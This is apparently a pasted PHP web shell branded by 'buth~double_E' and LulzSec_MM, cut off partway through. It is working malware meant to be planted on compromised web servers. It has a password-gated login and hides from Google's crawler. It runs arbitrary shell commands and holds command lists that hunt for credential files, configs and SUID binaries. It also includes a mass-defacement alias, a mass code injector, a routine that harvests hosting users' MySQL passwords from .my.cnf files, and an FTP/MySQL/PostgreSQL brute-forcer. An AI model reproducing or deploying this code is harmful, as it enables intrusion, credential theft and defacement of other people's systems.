· 9 years ago · Feb 15, 2017, 05:20 AM
1<?php
2$auth_pass = "6c180142336506ce970cd966abfaa8c8"; // Modified by buth~double_E
3$color = "white;text-shadow:blue 0px 0px 10px";
4$default_action = 'FilesMan';
5@define('SELF_PATH', __FILE__);
6if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
7 header('HTTP/1.0 404 Not Found');
8 exit;
9}
10@session_start();
11@error_reporting(0);
12@ini_set('error_log',NULL);
13@ini_set('display_errors',0);
14@ini_set('log_errors',0);
15@ini_set('max_execution_time',0);
16@set_time_limit(0);
17@set_magic_quotes_runtime(0);
18@define('VERSION', 'Ver Priv~88');
19if( get_magic_quotes_gpc() ) {
20 function stripslashes_array($array) {
21 return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
22 }
23 $_POST = stripslashes_array($_POST);
24}
25function printLogin() {
26 echo '
27<html>
28<head>
29 <title>buth~double_E</title>
30 <!-- GOV FUCK -->
31 <!-- Never Break my Soul -->
32 <!-- Modified by buth~double_E , LulzSec_MM -->
33<!--
34. /$$ /$$ /$$$$$$ |\ /|
35.| $$ | $$ /$$__ $$ |$\ /$|
36.| $$ /$$ /$$| $$ /$$$$$$$$| $$ \__/ /$$$$$$ /$$$$$$$ |$$\ /$$|
37.| $$ | $$ | $$| $$|____ /$$/| $$$$$$ /$$__ $$ /$$_____/ |$$$\/$$$|
38.| $$ | $$ | $$| $$ /$$$$/ \____ $$| $$$$$$$$| $$ | |
39.| $$ | $$ | $$| $$ /$$__/ /$$ \ $$| $$_____/| $$ | |
40.| $$$$$$$$| $$$$$$/| $$ /$$$$$$$$| $$$$$$/| $$$$$$$| $$$$$$.$ |$$ $$|
41.|________/ \______/ |__/|________/ \______/ \_______/ \_______/___|__ __|
42 //Laughing at your security since 2009! -->
43<meta name="description" content="GOV FUCK, 404 not found" />
44<meta name="keywords" content="GOV FUCK" />
45<meta name="author" content="GOV FUCK" />
46<meta name="copyright" content="GOV FUCK" />
47<meta name="application-name" content="404 not found" />
48
49</head>
50<body bgcolor="black">
51<style type="text/css">
52 #greets {
53 width: 820px;
54 border-style: outset; }
55 #footer { font-size: 9pt; opacity: .7; }
56 .glow { text-shadow: 0 0 10px #F59700; font-family: "Black Ops One"; }
57 .blueglow { text-shadow: 0 0 10px #0F6FBD; font-family: "Black Ops One" }
58 .whiteglow { text-shadow: 0 0 10px #FFFFFF; font-family: "Black Ops One"; } </style>
59 <center>
60<p align="center"><b><font color="#a2b594" face="stencil" size="12">HackeD By LulzSec_MM</b></font></p>
61<p align="center"><b><font color="white" face="stencil" size="6">Talk is Cheap .
62<br/>Show Me The Code!<br/></font></p>
63<p align="center"><b><font color="white" face="Times New Roman" size="6"> PwneD by MyanmarElectronicArmy </font></p>
64
65<pre style="color:#4aad15;text-shadow:blue 0px 0px 10px">
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135<!--
136. /$$ /$$ /$$$$$$ |\ /|
137.| $$ | $$ /$$__ $$ |$\ /$|
138.| $$ /$$ /$$| $$ /$$$$$$$$| $$ \__/ /$$$$$$ /$$$$$$$ |$$\ /$$|
139.| $$ | $$ | $$| $$|____ /$$/| $$$$$$ /$$__ $$ /$$_____/ |$$$\/$$$|
140.| $$ | $$ | $$| $$ /$$$$/ \____ $$| $$$$$$$$| $$ | |
141.| $$ | $$ | $$| $$ /$$__/ /$$ \ $$| $$_____/| $$ | |
142.| $$$$$$$$| $$$$$$/| $$ /$$$$$$$$| $$$$$$/| $$$$$$$| $$$$$$.$ |$$ $$|
143.|________/ \______/ |__/|________/ \______/ \_______/ \_______/___|__ __|
144 //Laughing at your security since 2009! -->
145
146</pre>
147
148<p align="center"><b><font color="white" face="Times New Roman" size="6"> <small>We are Here</small> </font></p>
149<pre style="color:white">
150 New Security Comes with New vulnerability
151 - LulzSec_MM
152</pre>
153<h3 style="color:white"><u>Team Member</u></h3>
154<div id="greets">
155<marquee class="glow" style="color:white";>|buth~double_E | All MM Hackers |</marquee>
156</div>
157</center>
158</body>
159</html>
160
161 <style>input { margin:5;background-color:#000;border:none;color:#0000; cursor:arrow; }</style>
162 <center><form method=post><input type=password name=pass></form>
163</body>
164 ';
165 exit;
166}
167if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
168 if( empty( $auth_pass ) ||
169 ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
170 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
171 else
172 printLogin();
173if( strtolower( substr(PHP_OS,0,3) ) == "win" )
174 $os = 'win';
175else
176 $os = 'nix';
177$safe_mode = @ini_get('safe_mode');
178$disable_functions = @ini_get('disable_functions');
179$home_cwd = @getcwd();
180if( isset( $_POST['c'] ) )
181 @chdir($_POST['c']);
182$cwd = @getcwd();
183if( $os == 'win') {
184 $home_cwd = str_replace("\\", "/", $home_cwd);
185 $cwd = str_replace("\\", "/", $cwd);
186}
187if( $cwd[strlen($cwd)-1] != '/' )
188 $cwd .= '/';
189if($os == 'win') {
190 $aliases = array(
191 "Mass Deface" => 'for /r "%cd%" %i in (.) do @copy "%cd%\Lulzsec.html" "%i"',
192 "Find index.php in current dir" => "dir /s /w /b index.php",
193 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
194 "Show active connections" => "netstat -an",
195 "Show running services" => "net start",
196 "User accounts" => "net user",
197 "Show computers" => "net view",
198 "ARP Table" => "arp -a",
199 "IP Configuration" => "ipconfig /all"
200 );
201} else {
202 $aliases = array(
203 "List dir" => "ls -la",
204 "list file attributes on a Linux second extended file system" => "lsattr -va",
205 "show opened ports" => "netstat -an | grep -i listen",
206 "Find" => "",
207 "find all suid files" => "find / -type f -perm -04000 -ls",
208 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
209 "find all sgid files" => "find / -type f -perm -02000 -ls",
210 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
211 "find config.inc.php files" => "find / -type f -name config.inc.php",
212 "find config* files" => "find / -type f -name \"config*\"",
213 "find config* files in current dir" => "find . -type f -name \"config*\"",
214 "find all writable folders and files" => "find / -perm -2 -ls",
215 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
216 "find all service.pwd files" => "find / -type f -name service.pwd",
217 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
218 "find all .htpasswd files" => "find / -type f -name .htpasswd",
219 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
220 "find all .bash_history files" => "find / -type f -name .bash_history",
221 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
222 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
223 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
224 "Locate" => "",
225 "locate httpd.conf files" => "locate httpd.conf",
226 "locate vhosts.conf files" => "locate vhosts.conf",
227 "locate proftpd.conf files" => "locate proftpd.conf",
228 "locate psybnc.conf files" => "locate psybnc.conf",
229 "locate my.conf files" => "locate my.conf",
230 "locate admin.php files" =>"locate admin.php",
231 "locate cfg.php files" => "locate cfg.php",
232 "locate conf.php files" => "locate conf.php",
233 "locate config.dat files" => "locate config.dat",
234 "locate config.php files" => "locate config.php",
235 "locate config.inc files" => "locate config.inc",
236 "locate config.inc.php" => "locate config.inc.php",
237 "locate config.default.php files" => "locate config.default.php",
238 "locate config* files " => "locate config",
239 "locate .conf files"=>"locate '.conf'",
240 "locate .pwd files" => "locate '.pwd'",
241 "locate .sql files" => "locate '.sql'",
242 "locate .htpasswd files" => "locate '.htpasswd'",
243 "locate .bash_history files" => "locate '.bash_history'",
244 "locate .mysql_history files" => "locate '.mysql_history'",
245 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
246 "locate backup files" => "locate backup",
247 "locate dump files" => "locate dump",
248 "locate priv files" => "locate priv"
249 );
250}
251function ex($in) {
252 $out = '';
253 if (function_exists('exec')) {
254 @exec($in,$out);
255 $out = @join("\n",$out);
256 } elseif (function_exists('passthru')) {
257 ob_start();
258 @passthru($in);
259 $out = ob_get_clean();
260 } elseif (function_exists('system')) {
261 ob_start();
262 @system($in);
263 $out = ob_get_clean();
264 } elseif (function_exists('shell_exec')) {
265 $out = shell_exec($in);
266 } elseif (is_resource($f = @popen($in,"r"))) {
267 $out = "";
268 while(!@feof($f))
269 $out .= fread($f,1024);
270 pclose($f);
271 }else return " Unable to execute command BC\n";
272 return ($out==''?" Query did not return anything Bro\n":$out);
273}
274function which($p) {
275 $path = ex('which ' . $p);
276 if(!empty($path))
277 return $path;
278 return false;
279}
280function printHeader() {
281 if(empty($_POST['charset']))
282 $_POST['charset'] = "UTF-8";
283 global $color;
284 echo '<html><head><meta http-equiv="Content-Type" content="text/html; charset='.$_POST['charset'].'"><title>buth~double_E '.VERSION.'</title>
285 <style>
286 // background url here
287 body {background:url(http://i.imgur.com/vxzuzvS.jpg); color:#C3C3C3;}
288 body,td,th { font: 9pt Lucida,Verdana;margin:0;vertical-align:top; }
289 span,h1,a { color:'.$color.' !important; }
290 span { font-weight: bolder; }
291
292 h1 { padding: 2px 5px;font: 14pt Verdana;margin:0px 0 0 5px; }
293 div.content { padding: 5px;margin:0 5px;background: #213939;border-bottom:1px #56A3E9;}
294 a { text-decoration:none; }
295 a:hover { /*background:lime;*/ }
296 .ml1 { border:1px #396c6c;padding:5px;margin:0;overflow: auto; }
297 .bigarea { width:100%;height:250px;margin-top:5px;}
298 input, textarea, select { margin:0;color:lime;background-color:#000000;border:1px solid '.$color.'; font: 9pt Monospace,"Courier New"; }
299 input[type="button"]:hover,input[type="submit"]:hover {background-color:'.$color.';color:#000;}
300 form { margin:0px; }
301 #toolsTbl { text-align:center; }
302 .toolsInp { width: 80%; }
303 .main th {text-align:left;background-color:#000000;font-weight: bold;}
304 .main tr:hover{background-color:#5e5e5e;}
305 .main td, th{vertical-align:middle;}
306 .menu {background: #000;}
307 .menu th{padding:5px;font-weight:bold;}
308 .menu th:hover{background:#444;}
309 .l1 {background-color:#000}
310 pre {font-family:Courier,Monospace;}
311 #cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}
312 .logo {text-align:center;font-size:60px;}
313 .logo sup {font-size: 15px;vertical-align: top;margin-left: -14px;}
314 .cpr {margin-bottom:5px;font-weight:bold;}
315 .cpb {width:34px;margin:0 5px;}
316 .eca1 {font-size: 16px;font-weight: bold;letter-spacing: 10px;margin: 0 2px 0 17px;text-align: center;}
317 .eca2 {font-size: 13px;font-weight: bold;letter-spacing: 3px;margin: 0 2px 0 7px;text-align: center;}
318 .npoad td {padding:0;}
319 </style>
320 <script>
321 function set(a,c,p1,p2,p3,charset) {
322 if(a != null)document.mf.a.value=a;
323 if(c != null)document.mf.c.value=c;
324 if(p1 != null)document.mf.p1.value=p1;
325 if(p2 != null)document.mf.p2.value=p2;
326 if(p3 != null)document.mf.p3.value=p3;
327 if(charset != null)document.mf.charset.value=charset;
328 }
329 function g(a,c,p1,p2,p3,charset) {
330 set(a,c,p1,p2,p3,charset);
331 document.mf.submit();
332 }
333 function a(a,c,p1,p2,p3,charset) {
334 set(a,c,p1,p2,p3,charset);
335 var params = "ajax=true";
336 for(i=0;i<document.mf.elements.length;i++)
337 params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
338 sr("'.$_SERVER['REQUEST_URI'].'", params);
339 }
340 function sr(url, params) {
341 if (window.XMLHttpRequest) {
342 req = new XMLHttpRequest();
343 req.onreadystatechange = processReqChange;
344 req.open("POST", url, true);
345 req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
346 req.send(params);
347 }
348 else if (window.ActiveXObject) {
349 req = new ActiveXObject("Microsoft.XMLHTTP");
350 if (req) {
351 req.onreadystatechange = processReqChange;
352 req.open("POST", url, true);
353 req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
354 req.send(params);
355 }
356 }
357 }
358 function processReqChange() {
359 if( (req.readyState == 4) )
360 if(req.status == 200) {
361 //alert(req.responseText);
362 var reg = new RegExp("(\\d+)([\\S\\s]*)", "m");
363 var arr=reg.exec(req.responseText);
364 eval(arr[2].substr(0, arr[1]));
365 }
366 else alert("Request error!");
367 }
368 </script>
369 <head><body><div style="position:absolute;width:100%;top:0;left:0;"><div style="margin:1px;background:#000;"><div class="content" style="border-top:1px #56A3E9;">
370 <form method=post name=mf style="display:none;">
371 <input type=hidden name=a value="'.(isset($_POST['a'])?$_POST['a']:'').'">
372 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
373 <input type=hidden name=p1 value="'.(isset($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'">
374 <input type=hidden name=p2 value="'.(isset($_POST['p2'])?htmlspecialchars($_POST['p2']):'').'">
375 <input type=hidden name=p3 value="'.(isset($_POST['p3'])?htmlspecialchars($_POST['p3']):'').'">
376 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
377 </form>';
378 $freeSpace = @diskfreespace($GLOBALS['cwd']);
379 $totalSpace = @disk_total_space($GLOBALS['cwd']);
380 $totalSpace = $totalSpace?$totalSpace:1;
381 $disable_functions = @ini_get('disable_functions');
382 $release = @php_uname('r');
383 $kernel = @php_uname('s');
384 $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
385 if(strpos('Linux', $kernel) !== false)
386 $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
387 else
388 $explink .= urlencode($kernel . ' ' . substr($release,0,3));
389 if(!function_exists('posix_getegid')) {
390 $user = @get_current_user();
391 $uid = @getmyuid();
392 $gid = @getmygid();
393 $group = "?";
394 } else {
395 $uid = @posix_getpwuid(@posix_geteuid());
396 $gid = @posix_getgrgid(@posix_getegid());
397 $user = $uid['name'];
398 $uid = $uid['uid'];
399 $group = $gid['name'];
400 $gid = $gid['gid'];
401 }
402 $cwd_links = '';
403 $path = explode("/", $GLOBALS['cwd']);
404 $n=count($path);
405 for($i=0;$i<$n-1;$i++) {
406 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
407 for($j=0;$j<=$i;$j++)
408 $cwd_links .= $path[$j].'/';
409 $cwd_links .= "\")'>".$path[$i]."/</a>";
410 }
411 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
412 $opt_charsets = '';
413 foreach($charsets as $item)
414 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
415 $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Exec'=>'Console','Infect'=>'Infect','CgiShell'=>'CgiShell','Shared Hostings'=>'Shared','Grab Configs'=>'ConfigGrabber','Safe Mode'=>'Bypass','Sql'=>'Sql','Subdomain'=>'Subdomain','LFI'=>'lfiscan','Brute'=>'Bruteforce','CP' => 'CP','Readable'=>'Readable','Mass Defacer'=>'Deface','Bypass'=>'Defacer','String tools'=>'StringTools','Jumping'=>'Jumping','Injector'=>'Injector','Connect'=>'Network','Port Scanner'=>'PortScanner','NOT yet'=>'rdp','NOT yet' => 'Domain','Mass SQLi' => 'shiv');
416 if(!empty($GLOBALS['auth_pass']))
417 $m['Logout'] = 'Logout';
418
419 $menu = '';
420 foreach($m as $k => $v)
421 $menu .= '<th><a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a></th>';
422 $drives = "";
423 if ($GLOBALS['os'] == 'win') {
424 foreach( range('a','z') as $drive ){
425 if (is_dir($drive.':\\'))
426 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
427 }
428 $drives .= '<br />: ';
429
430 }
431 if($GLOBALS['os'] == 'nix') {
432 $dominios = @file_get_contents("/etc/named.conf");
433 if(!$dominios) {
434 $d0c = "CANT READ named.conf";
435 } else {
436 @preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);
437 $out = sizeof(array_unique($out[1]));
438 $d0c = $out." Domains";
439 }
440 } else {
441 $d0c = " --- ";
442 }
443 if($GLOBALS['os'] == 'nix' )
444 {
445 $usefl = ''; $dwnldr = '';
446 if(!@ini_get('safe_mode')) {
447 $temp = array();
448 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
449 foreach($userful as $item) { if(which($item)) $temp[]= $item; }
450 $usefl = implode(', ',$temp);
451 $temp = array();
452 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
453 foreach($downloaders as $item2) { if(which($item2)) $temp[]= $item2; }
454 $dwnldr = implode(', ',$temp);
455 } else {
456 $usefl = ' ------- '; $dwnldr = ' ------- ';
457 }
458 } else {
459 $usefl = ' ------- '; $dwnldr = ' ------- ';
460 }
461
462 echo '<table class="info" cellpadding="0" cellspacing="0" width="100%" bgcolor="#5f8e7b"><tr><td width="160px"><img src="http://i.imgur.com/zBtApYV.png" height="150" width="300px"><sup>®</sup></div></td>
463 <hr>
464 <td><table cellpadding="0" cellspacing="0" class="npoad"><tr><td width="125px;"><span>Uname</span></td><td>: <nobr>'.substr(@php_uname(), 0, 120).' <a href="' . $explink . '" target=_blank>[exploit-db.com]'.'</nobr></td></tr>
465 <tr><td><span>User</span></td><td>: '.$uid.' ( '.$user.' ) <span>Group : </span> '.$gid.' ( '.$group.' )</td></tr><tr><td><span>Server</span></td><td>: '.@getenv('SERVER_SOFTWARE').'</td></tr><tr><td><span>Useful</span></td><td>: '.$usefl.'</td></tr><tr><td><span>Downloaders</span></td><td>: '.$dwnldr.'</td></tr><tr><td><span>Disabled functions</span></td><td>: '.($disable_functions?$disable_functions:'All Function Enable').'</td></tr><tr><td><span>'.($GLOBALS['os'] == 'win'?'Drives<br />Cwd':'Cwd').'</span></td><td>: '.$drives.''.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a></td></tr></table></td>'.
466 '<td width=1><nobr><span>Server IP</span><br><span>Client IP</span><br /><span>HDD</span><br /><span>Free</span><br /><span>PHP</span><br /><span>Safe Mode</span><br /><span>Domains</span></nobr></td>'.
467 '<td><nobr>: '.gethostbyname($_SERVER["HTTP_HOST"]).'<br>: '.$_SERVER['REMOTE_ADDR'].'<br />: '.viewSize($totalSpace).'<br />: '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>: '.@phpversion().' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a><br />: '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color='.$color.'<b>OFF</b></font>').'<br />: '.$d0c.'</nobr></td></tr></table>'.
468 '</div></div><div style="margin:1;background #000;"><div class="content" style="border-top:1px #56A3E9;padding:2px;"><table cellpadding="3" cellspacing="0" width="100%" class="menu"><tr>'.$menu.'.</tr></table></div></div><div style="margin:2;background:#000;">'
469 .'<div style="margin:1;background #000;"><div class="content" style="border-top:1px #56A3E9;padding:2px;">';
470 // menu22222222 is there but cant set it. Bro :v
471 }
472
473
474function actionInjector(){
475 printHeader();
476 echo '<center><h1>Mass Code Injector By LulzSec_MM 2017 </h1></center>';
477 echo '<div class="content">';
478
479 if(stristr(php_uname(),"Windows")) { $DS = "\\"; } else if(stristr(php_uname(),"Linux")) { $DS = '/'; }
480 function get_structure($path,$depth) {
481 global $DS;
482 $res = array();
483 if(in_array(0, $depth)) { $res[] = $path; }
484 if(in_array(1, $depth) or in_array(2, $depth) or in_array(3, $depth)) {
485 $tmp1 = glob($path.$DS.'*',GLOB_ONLYDIR);
486 if(in_array(1, $depth)) { $res = array_merge($res,$tmp1); }
487 }
488 if(in_array(2, $depth) or in_array(3, $depth)) {
489 $tmp2 = array();
490 foreach($tmp1 as $t){
491 $tp2 = glob($t.$DS.'*',GLOB_ONLYDIR);
492 $tmp2 = array_merge($tmp2, $tp2);
493 }
494 if(in_array(2, $depth)) { $res = array_merge($res,$tmp2); }
495 }
496 if(in_array(3, $depth)) {
497 $tmp3 = array();
498 foreach($tmp2 as $t){
499 $tp3 = glob($t.$DS.'*',GLOB_ONLYDIR);
500 $tmp3 = array_merge($tmp3, $tp3);
501 }
502 $res = array_merge($res,$tmp3);
503 }
504 return $res;
505 }
506
507 if(isset($_POST['submit']) && $_POST['submit']=='Inject') {
508 $name = $_POST['name'] ? $_POST['name'] : '*';
509 $type = $_POST['type'] ? $_POST['type'] : 'html';
510 $path = $_POST['path'] ? $_POST['path'] : getcwd();
511 $code = $_POST['code'] ? $_POST['code'] : '3xp1r3 Cyber Army';
512 $mode = $_POST['mode'] ? $_POST['mode'] : 'a';
513 $depth = sizeof($_POST['depth']) ? $_POST['depth'] : array('0');
514 $dt = get_structure($path,$depth);
515 foreach ($dt as $d) {
516 if($mode == 'a') {
517 if(file_put_contents($d.$DS.$name.'.'.$type, $code, FILE_APPEND)) {
518 echo '<div><strong>'.$d.$DS.$name.'.'.$type.'</strong><span style="color:#a3e956;"> was injected</span></div>';
519 } else {
520 echo '<div><span style="color:red;">failed to inject</span> <strong>'.$d.$DS.$name.'.'.$type.'</strong></div>';
521 }
522 } else {
523 if(file_put_contents($d.$DS.$name.'.'.$type, $code)) {
524 echo '<div><strong>'.$d.$DS.$name.'.'.$type.'</strong><span style="color:#a3e956;"> was injected</span></div>';
525 } else {
526 echo '<div><span style="color:red;">failed to inject</span> <strong>'.$d.$DS.$name.'.'.$type.'</strong></div>';
527 }
528 }
529 }
530 } else {
531 echo '<form method="post" action="">
532 <table align="center">
533 <tr>
534 <td>Directory : </td>
535 <td><input class="box" name="path" value="'.getcwd().'" size="50"/></td>
536 </tr>
537 <tr>
538 <td class="title">Mode : </td>
539 <td>
540 <select style="width: 100px;" name="mode" class="box">
541 <option value="a">Apender</option>
542 <option value="w">Overwriter</option>
543 </select>
544 </td>
545 </tr>
546 <tr>
547 <td class="title">File Name & Type : </td>
548 <td>
549 <input type="text" style="width: 100px;" name="name" value="*"/>
550 <select style="width: 100px;" name="type" class="box">
551 <option value="html">HTML</option>
552 <option value="htm">HTM</option>
553 <option value="php" selected="selected">PHP</option>
554 <option value="asp">ASP</option>
555 <option value="aspx">ASPX</option>
556 <option value="xml">XML</option>
557 <option value="txt">TXT</option>
558 </select></td>
559 </tr>
560 <tr>
561 <td class="title">Code Inject Depth : </td>
562 <td>
563 <input type="checkbox" name="depth[]" value="0" checked="checked"/> 0
564 <input type="checkbox" name="depth[]" value="1"/> 1
565 <input type="checkbox" name="depth[]" value="2"/> 2
566 <input type="checkbox" name="depth[]" value="3"/> 3
567 </td>
568 </tr>
569 <tr>
570 <td colspan="2"><textarea name="code" cols="70" rows="10" class="box"></textarea></td>
571 </tr>
572 <tr>
573 <td colspan="2" style="text-align: center;">
574 <input type="hidden" name="a" value="Injector">
575 <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
576 <input type="hidden" name="p1">
577 <input type="hidden" name="p2">
578 <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
579 <input style="padding :5px; width:100px;" name="submit" type="submit" value="Inject"/></td>
580 </tr>
581 </table>
582 </form>';
583 }
584 echo '</div>';
585 printFooter();
586}
587
588
589function actionCP() {
590
591printHeader();
592
593
594echo "<html>
595<style type='text/css'>
596 body { height: 100%; width: 100%; margin: 0; padding: 0; background-image: url(' ');
597 <style type='text/css'>
598 /* Circle Text Styles */
599 #outerCircleText {
600 /* Optional - DO NOT SET FONT-SIZE HERE, SET IT IN THE SCRIPT */
601 font-style: italic;
602 font-weight: bold;
603 font-family: 'comic sans ms', verdana, arial;
604 color: #FFF;
605 /* End Optional */
606
607 /* Start Required - Do Not Edit */
608 position: absolute;top: 0;left: 0;z-index: 3000;cursor: default;}
609 #outerCircleText div {position: relative;}
610 #outerCircleText div div {position: absolute;top: 0;left: 0;text-align: center;}
611 /* End Required */
612 /* End Circle Text Styles */
613 </style>
614
615
616<center><marquee bgcolor='black' width='30%'><span style='font-size: 25px;'><b>
617<span style='color:White;font-family:Iceland;text-shadow:red 0px 0px 5px' 'font-size:='' 20pt;'=''>Powered by LulzSec MM</span></marquee></center>
618<body>";
619
620@ini_set('display_errors',0);
621function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
622 $ar0=explode($marqueurDebutLien, $text);
623 $ar1=explode($marqueurFinLien, $ar0[$i]);
624 return trim($ar1[0]);
625}
626 echo "<center>";
627$d0mains = @file('/etc/named.conf');
628$domains = scandir("/var/named");
629
630if ($domains or $d0mains)
631{
632 $domains = scandir("/var/named");
633 if($domains) {
634echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
635$count=1;
636$dc = 0;
637$list = scandir("/var/named");
638foreach($list as $domain){
639if(strpos($domain,".db")){
640$domain = str_replace('.db','',$domain);
641$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
642$dirz = '/home/'.$owner['name'].'/.my.cnf';
643$path = getcwd();
644
645if (is_readable($dirz)) {
646copy($dirz, ''.$path.'/'.$owner['name'].'.txt');
647$p=file_get_contents(''.$path.'/'.$owner['name'].'.txt');
648$password=entre2v2($p,'password="','"');
649echo "<tr><td>".$count++."</td><td><a href='http://".$domain.":2082' target='_blank'>".$domain."</a></td><td>".$owner['name']."</td><td>".$password."</td><td><a href='".$owner['name'].".txt' target='_blank'>Click Here</a></td></tr>";
650$dc++;
651}
652
653}
654}
655echo '</table>';
656$total = $dc;
657echo '<br><div class="result">Total Found = '.$total.'</h3><br />';
658echo '</center>';
659}else{
660$d0mains = @file('/etc/named.conf');
661 if($d0mains) {
662echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
663$count=1;
664$dc = 0;
665$mck = array();
666foreach($d0mains as $d0main){
667 if(@eregi('zone',$d0main)){
668 preg_match_all('#zone "(.*)"#',$d0main,$domain);
669 flush();
670 if(strlen(trim($domain[1][0])) >2){
671 $mck[] = $domain[1][0];
672 }
673 }
674}
675$mck = array_unique($mck);
676$usr = array();
677$dmn = array();
678foreach($mck as $o) {
679 $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
680 $usr[] = $infos['name'];
681 $dmn[] = $o;
682}
683array_multisort($usr,$dmn);
684$dt = file('/etc/passwd');
685$passwd = array();
686foreach($dt as $d) {
687 $r = explode(':',$d);
688 if(strpos($r[5],'home')) {
689 $passwd[$r[0]] = $r[5];
690 }
691}
692$l=0;
693$j=1;
694foreach($usr as $r) {
695$dirz = '/home/'.$r.'/.my.cnf';
696$path = getcwd();
697if (is_readable($dirz)) {
698copy($dirz, ''.$path.'/'.$r.'.txt');
699$p=file_get_contents(''.$path.'/'.$r.'.txt');
700$password=entre2v2($p,'password="','"');
701echo "<tr><td>".$count++."</td><td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td>'.$r."</td><td>".$password."</td><td><a href='".$r.".txt' target='_blank'>Click Here</a></td></tr>";
702$dc++;
703 flush();
704 $l=$l?0:1;
705 $j++;
706 }
707 }
708 }
709echo '</table>';
710$total = $dc;
711echo '<br><div class="result">Total Found = '.$total.'</h3><br />';
712echo '</center>';
713
714}
715}else{
716echo "<h3><div class='result'><i><font style='color:White;font-family:Iceland;text-shadow:blue 0px 0px 5px'>ERROR</font><br><font style='color:White;font-family:Iceland;text-shadow:blue 0px 0px 5px'>/var/named</font> or <font style='color:White;font-family:Iceland;text-shadow:blue 0px 0px 5px'>etc/named.conf</font> Not Accessible!</i></div></h3>";
717echo "<h3><div class='result'><i><font style='color:White;font-family:Iceland;text-shadow:blue 0px 0px 5px'>Lulzsec_MM </font></h3>";
718
719}
720 printFooter();
721 }
722
723function actionBruteforce() {
724 printHeader();
725 if( isset($_POST['proto']) ) {
726 echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
727 if( $_POST['proto'] == 'ftp' ) {
728 function bruteForce($ip,$port,$login,$pass) {
729 $fp = @ftp_connect($ip, $port?$port:21);
730 if(!$fp) return false;
731 $res = @ftp_login($fp, $login, $pass);
732 @ftp_close($fp);
733 return $res;
734 }
735 } elseif( $_POST['proto'] == 'mysql' ) {
736 function bruteForce($ip,$port,$login,$pass) {
737 $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
738 @mysql_close($res);
739 return $res;
740 }
741 } elseif( $_POST['proto'] == 'pgsql' ) {
742 function bruteForce($ip,$port,$login,$pass) {
743 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=''";
744 $res = @pg_connect($server[0].':'.$server[1]?$server[1]:5432, $login, $pass);
745 @pg_close($res);
746 return $res;
747 }
748 }
749 $success = 0;
750 $attempts = 0;
751 $server = explode(":", $_POST['server']);
752 if($_POST['type'] == 1) {
753 $temp = @file('/etc/passwd');
754 if( is_array($temp) )
755 foreach($temp as $line) {
756 $line = explode(":", $line);
757 ++$attempts;
758 if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
759 $success++;
760 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
761 }
762 if(@$_POST['reverse']) {
763 $tmp = "";
764 for($i=strlen($line[0])-1; $i>=0; --$i)
